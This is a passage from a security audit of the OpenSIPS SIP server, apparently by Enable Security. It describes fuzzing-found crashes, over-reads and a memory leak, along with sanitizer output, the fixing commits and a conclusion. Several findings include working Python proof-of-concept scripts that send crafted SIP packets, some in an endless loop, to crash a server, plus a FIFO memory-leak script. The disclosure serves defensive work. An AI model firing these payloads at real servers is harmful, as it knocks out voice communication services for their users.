3. Run the above script

```
python sl_send_reply-crash.py <server-ip>
```

4. Notice the server crash due to a segmentation fault

3.10.4 Solutions and recommendations

This issue was fixed in commit ab611f7 [1]. The commit message reads as follows:

> [core] fix parse_via() parsing

3.11 Crash in the function `t_reply_matching` may lead to DoS (Info)

- Affects: TM module

3.11.1 Description

A crash was discovered while performing coverage guided fuzzing against the function **`t_reply_matching`**. It is highly unlikely that this issue is exploited since the payload that crashes the function lacks the **CSeq** header, which is a required field when matching replies.

The following is the AddressSanitizer report after the crash:

```
root@0ee1e77e13b6:/opensips# ./crash1
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2417==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030
    (pc 0x000000949236 bp 0x7ffd1361e8f0 sp 0x7ffd1361e380 T0)
==2417==The signal is caused by a READ memory access.
==2417==Hint: address points to the zero page.
    #0 0x949236 in t_reply_matching /opensips/modules/tm/t_lookup.c:783:9
    #1 0xf18e89 in main /test/crash/main.c:31:9
    #2 0x7f558c6d60b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/
        libc-start.c:308:16
    #3 0x4367ad in _start (/opensips/crash1+0x4367ad)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /opensips/modules/tm/t_lookup.c:783:9 in t_reply_matching
==2417==ABORTING
```

Source: modules/tm/t_lookup.c:

[1] https://github.com/OpenSIPS/opensips/commit/ab611f74f69d9c42be5401c40d56ea06a58f5dd7

```
783 cseq = get_cseq(p_msg);
```

3.11.2 Impact

This issue is informational since SIP messages lacking the **CSeq** header are not likely to be passed to this function.

3.11.3 How to reproduce the issue

1. Compile the below source code using AddressSanitizer:

```
#include "globals.h"
#include "modules/tm/tm.h"

int main()
{
    pkg_mem_size = 10 * 1024 * 1024;
    init_pkg_mallocs();
    init_shm_mallocs();
    init_stats_collector();
    struct sip_msg *invite;
    invite = (struct sip_msg *)pkg_malloc(sizeof(struct sip_msg));
    if (invite == NULL)
    {
        LM_ERR("No more memory\n");
        return 0;
    }
    memset(invite, 0, sizeof(struct sip_msg));


    char *crash_p = "BYE 100@127.0.0.1 SIP/2.0\r\n"
        "Via: SIP/2.0/UDP 192.168.1;rport;branch=z9hG4bKE.ab0c2.0\r\n"
        "\r\n\0";
    invite->buf = crash_p;
    invite->len = strlen(crash_p);
    invite->rcv.src_ip.af = AF_INET;
    invite->rcv.dst_ip.af = AF_INET;

    if (parse_msg(crash_p, strlen(crash_p), invite) == 0)
    {
        int r;
        t_reply_matching(invite, &r);
    }

end:
    free_sip_msg(invite);
    pkg_free(invite);
    return 0;
}
```

2. Run the resulting binary and observe the AddressSanitizer report

3.11.4 Solutions and recommendations

If the function **t_reply_matching** is called without proper checks for the **CSeq** header then the code would cause OpenSIPS to crash. It is recommended that a test for the existence of the **CSeq** header is performed before calling **get_cseq()**.

3.12 Heap-buffer-overflow in function parse_hname2 leads to AddressSanitizer false positives (Info)

- Affects: SIP message parser

3.12.1 Description

The AddressSanitizer reported a heap-buffer-overflow while fuzzing **parse_msg**. However, this issue could not be abused against a running OpenSIPS instance.

Analysis showed that the AddressSanitizer report was due to a bug where the code reads beyond a few bytes, up to a maximum of 4 bytes, into a 32 bit dword. Since it does not read beyond the 32 bit dword, this issue does not appear to be exploitable and does not actually result in any memory violations. It does, however, trigger the AddressSanitizer's strict heap-buffer-overflow detection.

The brief explanation of why this happens is as follows: when the function **parse_msg** processes a SIP message ending with **User-A**, the function **parse_hname2** performs a number of checks to identify the header. This ends up being read using **user_CASE**, defined in **case_user.h**, which over-reads beyond the null terminated string. This is what triggers the heap-buffer-overflow check in AddressSanitizer.

The following code can be used to replicate this problem:

```
#include "globals.h"
#include "ut.h"

int main()
{
    *log_level = -3;
    pkg_mem_size = 10 * 1024 * 1024;

    init_pkg_mallocs();
    init_shm_mallocs();

    char *q = "OPTIONS sip:demo.sipvicious.pro SIP/2.0\r\n"
        "ViaS: IP/2.0/UDP 192.168.1.)23:59589;rport;branch=z9hG4bK-dnOo7rU,LZLiOjRD"
        "<sip:84618151@demo.sipvicioYKP\r\nAccept-Disposition: render, session\r\n"
```

```
        "CSeq: 1 OPTIONS\r\nUser-A\0";
    int size = strlen(q);
    char *buf = malloc(size+1);
    memcpy(buf, q, size);
    buf[size] = 0;
    struct sip_msg *req;
    req = (struct sip_msg *)pkg_malloc(sizeof(struct sip_msg));
    if (req == NULL)
    {
        LM_ERR("No more memory\n");
        return 0;
    }
    memset(req, 0, sizeof(struct sip_msg));

    req->buf = buf;
    req->len = size;
    req->rcv.src_ip.af = AF_INET;
    req->rcv.dst_ip.af = AF_INET;

    if (parse_msg(buf, size, req) == 0)
    {
        if ((req->via1 == 0) || (req->via1->error != PARSE_OK))
        {
            goto end;
        }
    }

end:
    free(buf);
    free_sip_msg(req);
    pkg_free(req);
    return 0;
}
```

The following is the AddressSanitizer output when running the code:

```
root@4e399a4425c3:/opensips# ./crash1
=================================================================
==5646==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000110 at pc
    0x000000567731 bp 0x7fff88d3b140 sp 0x7fff88d3b138
READ of size 1 at 0x611000000110 thread T0
    #0 0x567730 in parse_hname2 /opensips/parser/parse_hname2.c:165:3
    #1 0x50fe8e in get_hdr_field /opensips/parser/msg_parser.c:88:6
    #2 0x5159a1 in parse_headers /opensips/parser/msg_parser.c:323:8
    #3 0x521a89 in parse_msg /opensips/parser/msg_parser.c:748:6
    #4 0xc4b26e in main /test/crash.c:101:9
    #5 0x7f5f9b8070b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/
        libc-start.c:308:16
    #6 0x43191d in _start (/opensips/crash1+0x43191d)

0x611000000110 is located 0 bytes to the right of 208-byte region
    [0x611000000040,0x611000000110)
allocated by thread T0 here:
    #0 0x4d746f in malloc /usr/local/src/llvm-project/compiler-rt/lib/asan/
        asan_malloc_linux.cpp:145:3
```

```
    #1 0xc4ade0 in main /test/crash.c:84:17
    #2 0x7f5f9b8070b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/
        libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /opensips/parser/parse_hname2.c:165:3
    in parse_hname2
Shadow bytes around the buggy address:
  0x0c227fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8020: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==5646==ABORTING
```

3.12.2 Impact

Although issue is not exploitable, it will generate AddressSanitizer false positives. Such results weaken the AddressSanitizer's ability to find further bugs.

3.12.3 How to reproduce the issue

1. Compile the code provided in the description using clang and AddressSanitizer **`-fsanitize=address`**
2. Run the binary and observe the AddressSanitizer report

3.12.4 Solutions and recommendations

This issue was fixed in commit 209218c [1]. The commit message reads as follows:

> Since fuzzers typically use the system allocator in order to run ASan checks (i.e. -DPKG_MALLOC is not enabled), they will often run into false-positive crashes in the parse_hname2() function due to various read overflows which are harmless in production, thanks to the pre-allocated nature of the PKG memory chunk.

> This patch adds the HAVE() parser macro (tied to -DFUZZ_BUILD), which will be optimized (removed) in the public build (0 changes), while protecting against any read overflow when building with -DFUZZ_BUILD.

3.13 Segmentation fault in the function `rewrite_ruri` leads to DoS (CVSS: 8.6)

- Affects: SIP message parser
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [2]

[1] https://github.com/OpenSIPS/opensips/commit/209218c91e64d9fb5e192ccaf5466c4140ba226d

[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

3.13.1 Description

When a specially crafted SIP message is processed by the function **`rewrite_ruri`**, a crash occurs due to a segmentation fault. The following backtrace was observed when reproducing this issue:

```
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000055eabf2f9b87 in memcpy (__len=<optimized out>, __src=<optimized out>,
    __dest=0x7f2223b36ea8) at parser/msg_parser.c:1156
1156        if (tmp){
(gdb) bt
#0  0x000055eabf2f9b87 in memcpy (__len=<optimized out>, __src=<optimized out>,
    __dest=0x7f2223b36ea8) at parser/msg_parser.c:1156
#1  rewrite_ruri (msg=0x7f2223b362f8, sval=0x7fff665344c8, ival=ival@entry=0,
    part=part@entry=RW_RURI_PORT) at parser/msg_parser.c:1087
#2  0x000055eabf1b4576 in w_setport (msg=<optimized out>, port=<optimized out>) at
    core_cmds.c:754
```

If a breakpoint is placed at **`msg_parser.c:1085`**, one can observe that **`len`** is set to a negative value:

```
(gdb) b msg_parser.c:1085
+b msg_parser.c:1085
Breakpoint 1 at 0x55d097a118d7: file parser/msg_parser.c, line 1085.
(gdb) c
+c
Continuing.

Breakpoint 1, rewrite_ruri (msg=0x7f1ea5e2b2f8, sval=0x7ffeaae5dae8, ival=ival@entry=0,
    part=part@entry=RW_RURI_PORT) at parser/msg_parser.c:1085
1085            len = (uri.user.len?uri.user.s:uri.host.s) - tmp;
(gdb) p uri.user.len
+p uri.user.len
$1 = 0
(gdb) p uri.user.s
+p uri.user.s
$2 = 0x0
(gdb) p uri.host.s
+p uri.host.s
$3 = 0x55d097b8284a ""
(gdb) p uri.host.s - tmp
+p uri.host.s - tmp
$4 = -1473536
```

The structure **`uri`** is populated by calling **`parse_uri`** on line 1072 in **`msg_parser.c`** where the value for **`uri.host.s`** is being incorrectly set. If we step through the function **`parse_uri`**, we notice that on line 1544, **`uri.host.s`** is set to an empty string which would have an arbitrary memory location:

Source: **`parse_uri.c`**

```
1541 case URN_NENA_SERVICE_URI_T:
1542     uri->user.s=0;
1543     uri->user.len=0;
1544     uri->host.s="";
1545     uri->host.len=0;
1546     break;
```

This shows that the memory location for **`uri->host.s`** is not user controlled.

3.13.2 Impact

This issue causes the server to crash. It affects configurations containing functions that make use of the affected code, such as the function **`setport`**[1].

3.13.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"

route {
    setport("5070");
    exit;
}
```

2. Save the below Python script to **`rewrite_ruri-crash.py`**

```
    import socket, sys

    UDP_IP = sys.argv[1]
    UDP_PORT = 5060
    msg = 'REGISTER! urn:nena:service:iciohID: ' + \
        'SGTqqysitiQt\x9b\x96\x8f\xc5\xcd\xcd' + \
        '\xcet\x9b\x96\x8f\xc5\xcd\xcd\xce\xc70\n' + \
        'Via: SIP/2.0/Uangu;ANCrELpWWWWE2`th: 0\r\n\r\n\x11)'
```

[1] https://www.opensips.org/Documentation/Script-CoreFunctions-3-2#setport

```
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Run the above script

```
python rewrite_ruri-crash.py <server-ip>
```

4. Observe the server crash

3.13.4 Solutions and recommendations

This issue was fixed in commit b2dffe4[1]. The commit message reads as follows:

> [core] fix parse_uri() parsing

3.14 Memory leak in `parse_mi_request` might lead to Denial of Service (CVSS: 7.1)

- Affects: MI module
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 7.1
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 7.1
  - Vector: link[2]

3.14.1 Description

A memory leak was detected in the function **`parse_mi_request`** while performing coverage-guided fuzzing. The following report was generated by AddressSanitizer:

```
=================================================================
==488==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 64 byte(s) in 1 object(s) allocated from:
    #0 0x52e62f in
        malloc /usr/local/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
```

[1] https://github.com/OpenSIPS/opensips/commit/b2dffe4b5cd81182c9c8eabb6c96aac96c7acfe3

[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
    #1 0x79eb4f in cJSON_New_Item /opensips/lib/cJSON.c:184:27
    #2 0x7aa2d9 in parse_object /opensips/lib/cJSON.c:1409:13
    #3 0x79f2dd in parse_value /opensips/lib/cJSON.c:1030:16
    #4 0x79e89b in cJSON_ParseWithOpts /opensips/lib/cJSON.c:877:11
    #5 0x74cf9e in parse_mi_request /opensips/mi/mi.c:217:20
    #6 0x120dbd3 in LLVMFuzzerTestOneInput (/opensips/fuzzer+0x120dbd3)
    ...

Indirect leak of 8 byte(s) in 1 object(s) allocated from:
    #0 0x52e62f in malloc
        /usr/local/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
    #1 0x7a7e46 in parse_string /opensips/lib/cJSON.c:536:27
    #2 0x7aa3b2 in parse_object /opensips/lib/cJSON.c:1416:18
    #3 0x79f2dd in parse_value /opensips/lib/cJSON.c:1030:16
    #4 0x79e89b in cJSON_ParseWithOpts /opensips/lib/cJSON.c:877:11
    #5 0x74cf9e in parse_mi_request /opensips/mi/mi.c:217:20
    #6 0x120dbd3 in LLVMFuzzerTestOneInput (/opensips/fuzzer+0x120dbd3)
    ...

Indirect leak of 4 byte(s) in 1 object(s) allocated from:
    #0 0x52e62f in malloc
        /usr/local/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
    #1 0x7a7e46 in parse_string /opensips/lib/cJSON.c:536:27
    #2 0x79ef77 in parse_value /opensips/lib/cJSON.c:1018:16
    #3 0x7aa5af in parse_object /opensips/lib/cJSON.c:1432:18
    #4 0x79f2dd in parse_value /opensips/lib/cJSON.c:1030:16
    #5 0x79e89b in cJSON_ParseWithOpts /opensips/lib/cJSON.c:877:11
    #6 0x74cf9e in parse_mi_request /opensips/mi/mi.c:217:20
    #7 0x120dbd3 in LLVMFuzzerTestOneInput (/opensips/fuzzer+0x120dbd3)
    ...

SUMMARY: AddressSanitizer: 76 byte(s) leaked in 3 allocation(s).
```

This issue can be reproduced by sending multiple requests of the following form:

```
{"jsonrpc": "2.0","method": "log_le
```

This malformed message was tested against an instance of OpenSIPS via FIFO transport layer and was found to increase the memory consumption over time.

3.14.2 Impact

To abuse this memory leak, attackers need to reach the managment interface which typically, should be only exposed on trusted interfaces. In cases where the MI is exposed to the internet without authentication, abuse of this issue will lead to memory exhaustion which may affect the underlying system's availability. No authentication is typically required to reproduce this issue.

3.14.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=no

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:PRIVATE_IP:5060

mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"

loadmodule "mi_fifo.so"

modparam("mi_fifo", "fifo_name", "/var/run/opensips/opensips_fifo")
modparam("mi_fifo", "fifo_mode", 0666)


route {
    exit;
}
```

2. Save the below Python script to **`mi-memory-leak.py`**

```
while True:
    with open('/var/run/opensips/opensips_fifo', 'at') as fout:
        fout.write(':t: {"jsonrpc": "2.0","method": "log_le')
```

3. Run the above script

```
python mi-memory-leak.py
```

4. Run **`top`** and observe the memory usage of OpenSIPS slowly increase

3.14.4 Solutions and recommendations

This issue was fixed in commit 4175687[1]. The commit message reads as follows:

> cJSON: fix memory leak on object parsing error

[1] https://github.com/OpenSIPS/opensips/commit/417568707520af25ec5c5dd91da18e6db3649dcb

3.15 Buffer over-read in function `stream_process` leads to DoS (CVSS: 8.6)

- Affects: SIPMSGOPS module
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [1]

3.15.1 Description

OpenSIPS crashes when a malformed SDP body is sent multiple times to an OpenSIPS configuration that makes use of the **`stream_process`** function.

This issue was discovered during coverage guided fuzzing of the function **`codec_delete_except_re`**. The following was the output from AddressSanitizer:

```
==523==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fe3133f8800 at pc
    0x000000b8f90c bp 0x7ffee217e310 sp 0x7ffee217e308
READ of size 1 at 0x7fe3133f8800 thread T0
    #0 0xb8f90b in stream_process /opensips/modules/sipmsgops/codecs.c:507:47
    #1 0xb89543 in do_for_all_streams /opensips/modules/sipmsgops/codecs.c:337:7
    #2 0xb8981b in codec_delete_except_re /opensips/modules/sipmsgops/codecs.c:692:9
    #3 0x120d002 in LLVMFuzzerTestOneInput (/opensips/fuzzer+0x120d002)
    #4 0x463908 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long)
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:599:17
    #5 0x46c100 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool,
        fuzzer::InputInfo*, bool, bool*)
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:505:18
    #6 0x46cd28 in fuzzer::Fuzzer::MutateAndTestOne()
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:745:25
    #7 0x46f157 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile,
        fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&)
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:883:21
    #8 0x454724 in fuzzer::FuzzerDriver(int*, char***,
        int (*)(unsigned char const*, unsigned long))
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:906:10
    #9 0x43efc6 in main
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:30
    #10 0x7fe3186bb0b2 in __libc_start_main
```

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
        /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
    #11 0x43f02d in _start (/opensips/fuzzer+0x43f02d)

0x7fe3133f8800 is located 0 bytes to the right of 10485760-byte region
    [0x7fe3129f8800,0x7fe3133f8800)
allocated by thread T0 here:
    #0 0x52e62f in malloc
        /usr/local/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
    #1 0x6bedad in init_pkg_mallocs /opensips/mem/mem.c:83:13
    #2 0x115cb77 in initfuzzer /opensips/fuzzutils.c:19:5
    #3 0x120c82e in LLVMFuzzerTestOneInput (/opensips/fuzzer+0x120c82e)
    #4 0x463908 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long)
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:599:17
    #5 0x46d3d1 in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<fuzzer::SizedFile,
        fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&)
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:792:18
    #6 0x46ef55 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile,
        fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&)
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:845:28
    #7 0x454724 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*,
        unsigned long))
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:906:10
    #8 0x43efc6 in main
        /usr/local/src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:30
    #9 0x7fe3186bb0b2 in __libc_start_main
        /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /opensips/modules/sipmsgops/codecs.c:507:47
    in stream_process
Shadow bytes around the buggy address:
  0x0ffce26770b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffce26770c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffce26770d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffce26770e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffce26770f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffce2677100:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffce2677110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffce2677120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffce2677130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffce2677140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffce2677150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
```

```
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==523==ABORTING
MS: 3 EraseBytes-InsertByte-ChangeBit-; base unit: 46c10e98ca3c147f5a2aaf1140f71ee399101568
artifact_prefix='./'; Test unit written to ./crash-4773066274f8af0efb649de60c9305d480c4d24b
```

The following was the backtrace generated by the crash:

```
(gdb) bt
#0  stream_process (s=<optimized out>, s=<optimized out>, description=<optimized out>,
    op=<optimized out>, re=<optimized out>, ss=<optimized out>, cell=<optimized out>,
    msg=<optimized out>) at codecs.c:492
#1  do_for_all_streams (msg=<optimized out>, str1=<optimized out>, str2=<optimized out>,
    re=<optimized out>, op=<optimized out>, desc=<optimized out>) at codecs.c:326
#2  0x000055d80c8aefcf in do_action (a=0x7f0f6ca51a50, msg=0x7f0f6cc8ce78) at action.c:961
#3  0x000055d80c8b2360 in run_action_list (msg=<optimized out>, a=<optimized out>) at
    action.c:181
#4  run_actions (msg=0x7f0f6cc8ce78, a=<optimized out>) at action.c:128
#5  run_top_route (sr=..., msg=msg@entry=0x7f0f6cc8ce78) at action.c:228
#6  0x000055d80c8c482a in receive_msg (buf=0x55d80ccd5440 <buf>
    "INVITE sip:2000@demo.sipvicious.pro;transport=UDP SIP/2.0\r\nVia: SIP/2.0/UDP
    192.168.1.202:58905;lranch=z9hG4bK-524287-1---;rport\r\nsipvicious.pro>\r\nFrom:
    <sip:1000@demo.sipvicious.pro;transport=UDPloBE"..., len=<optimized out>,
    rcv_info=rcv_info@entry=0x7fffca7f3af0, existing_context=existing_context@entry=0x0,
    msg_flags=msg_flags@entry=0) at receive.c:213
#7  0x000055d80cabfaf5 in udp_read_req (si=<optimized out>, bytes_read=<optimized out>) at
    net/proto_udp/proto_udp.c:186
#8  0x000055d80ca9305e in handle_io (idx=<optimized out>, event_type=<optimized out>,
    fm=<optimized out>) at net/net_udp.c:272
#9  io_wait_loop_epoll (repeat=0, t=1, h=<optimized out>) at net/../io_wait_loop.h:308
#10 0x000055d80ca9860f in udp_start_processes (chd_rank=<optimized out>,
    startup_done=<optimized out>) at net/net_udp.c:497
#11 0x000055d80c86494b in main_loop () at main.c:227
#12 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
```

3.15.2 Impact

By abusing this vulnerability, an attacker is able to crash the server. It affects configurations containing functions that reply on the affected code, such as the function **codec_delete_except_re**[1].

[1] https://opensips.org/html/docs/modules/3.2.x/sipmsgops.html#func_codec_delete_except_re

3.15.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

mpath="<path-to-modules>"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"

route {
    codec_delete_except_re("PCMA|PCMU");
    exit;
}
```

2. Save the below Python script to **`stream_process-crash.py`**:

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060
msg="INVITE sip:2000@demo.sipvicious.pro;transport=UDP SIP/2.0\r\n" + \
    "Via: SIP/2.0/UDP 192.168.1.202:58905;lranch=z9hG4bK-524287-1---;rport\r\n" + \
    "sipvicious.pro>\r\n" + \
    "From: <sip:1000@demo.sipvicious.pro;transport=UDPloBE\r\n" + \
    "Content-Type: application/sdp\r\n" + \
    "Content-Length: 629\r\n" + \
    "\r\n" + \
    "v=0\r\n" + \
    "o=Z@056789 1 IN IP4 192.168.1.202\r\n" + \
    "s=Z\r\n" + \
    "c=IN IP4 192.162.1.202\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 8000 RTP/AVP 106 2.1.202\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 8000 RTP/AVP 106 ~ 0 8 18 3 111 97 110 112 98 101 100 99 10\r\n" + \
    "Content-Length: 629\r\n" + \
    "\r\n" + \
    "v=0\r\n" + \
    "=Contact000 RTP/AVP 106 2.1.202\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 8000 RTP/AVP 106 9 0 8 18 3 111 97 110 112 98 101 100 99 102\r\n" + \
    "a=rtpmap:106 opus/48000/2\r\n" + \
    "a=fmtp:106 minptime=20; use192.162.1.202\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 8000 RTP/AVP 106 2.1.202\r\n" + \
    "t=0 0\r\n" + \
```

```
    "m=audio 8000 RTP/AVP 106 9 02\r\n" + \
    "tacy:=0 0\r\n" + \
    "m=audio 8000 RTP/AVP 106 2.1.202\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 8000 RTP/Aid\r\n" + \
    "\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 8000 RTP/AVP 10\r\n" + \
    "a=sendrecv\r\n" + \
    "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
    sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Run the above script

```
python stream_process-crash.py <server-ip>
```

4. Notice that OpenSIPS crashes due to a segmentation fault

3.15.4 Solutions and recommendations

This issue was fixed in commit 1d60e74[1]. The commit message reads as follows:

> [sipmsgops] fix codec_delete_XX() parsing

[1] https://github.com/OpenSIPS/opensips/commit/1d60e7422aff69ca083fac3f907d7183c2e7f58e

4. Conclusion

The OpenSIPS security audit led to 15 security relevant findings many of which cause denial of service due to memory related bugs. Although these issues affected critical areas, we did not identify ways to escalate to remote code execution, memory disclosure or similar exploitation. On the other hand, the severity of these vulnerabilities is high or critical due to the importance of availability in real-time communications systems.

As part of performing this exercise, we built a number of tools that allowed us to perform fuzzing exercises that were never, to our knowledge, done before on OpenSIPS. Some of this work involved slightly modifying the source code so that it can be used in fuzzing exercises. This was especially useful when it came to coverage-guided fuzzing of certain modules. Additionally, a number of tests were provided for fuzzing specific functions within the parts of OpenSIPS that were in scope. We hope that these tests will prove useful in finding future security issues that may be introduced in OpenSIPS and inspire future fuzzing exercises.

We hope that thanks to this security audit, OpenSIPS can be modified to become more *fuzzable*, which includes modifications that can be done to the project so that all modules can be easily included in automated fuzz tests such as those done on OSS-Fuzz. This will help make the project easier to test for security issues on the whole, thus leading to a more robust and secure project.

Enable Security would like to thank Bogdan-Andrei Iancu and the OpenSIPS Project technical team for their excellent project coordination, support and assistance, both before and during this assignment.

5. Appendix

5.1 Methodology

The version that was targeted was 3.2.2.

```
commit f380dc59eb79ec2153d5b0d6e8374c0877fca525 (tag: 3.2.2)
